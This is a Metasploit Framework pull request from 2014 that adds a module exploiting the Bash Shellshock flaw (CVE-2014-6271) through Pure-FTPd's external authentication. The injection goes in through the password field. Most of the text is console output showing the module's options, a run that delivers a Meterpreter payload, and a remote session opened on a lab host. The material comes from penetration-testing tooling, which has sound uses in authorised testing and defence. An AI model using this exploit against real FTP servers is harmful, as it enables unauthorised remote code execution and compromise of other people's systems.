rapid7/metasploit-framework — pull request #3927 by zeroSteiner (2014-10-01 19:17:58+00:00)
Title: Add CVE-2014-6271 exploit via Pure-FTPd ext-auth

This module exploits the well known Bash Environment variable injection flaw in Pure-FTPd servers that execute an external program for authentication. The password field is used instead of the username field because it seems to allow longer commands to be executed.

The original Pure-FTPd PoC was posted [here](https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc).

Example output:
```
msf-git (S:0 J:0) exploit(pureftpd_bash_env_exec) > show options

Module options (exploit/multi/ftp/pureftpd_bash_env_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.90.144 yes The target address
RPATH /bin yes Target PATH for binaries used by the CmdStager
RPORT 21 yes The target port

Payload options (linux/x86/meterpreter/bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
DebugOptions 0 no Debugging options for POSIX meterpreter
LPORT 4444 yes The listen port
RHOST 192.168.90.144 no The target address

Exploit target:

Id Name
-- ----
0 Linux x86

msf-git (S:0 J:0) exploit(pureftpd_bash_env_exec) > exploit

[*] Started bind handler
[*] Connecting to FTP server 192.168.90.144:21...
[*] Connected to target FTP server.
[*] Command Stager progress - 85.74% done (499/582 bytes)
[*] Connecting to FTP server 192.168.90.144:21...
[*] Connected to target FTP server.
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 192.168.90.144
[*] Meterpreter session 14 opened (192.168.90.226:36735 -> 192.168.90.144:4444) at 2014-10-01 14:47:57 -0400
[*] Command Stager progress - 100.86% done (587/582 bytes)

meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:30:00 UTC 2014 (x86_64)
Architecture : x86_64
Meterpreter : x86/linux
meterpreter >
```

The check method uses the vulnerability to echo out the required information to authenticate a user.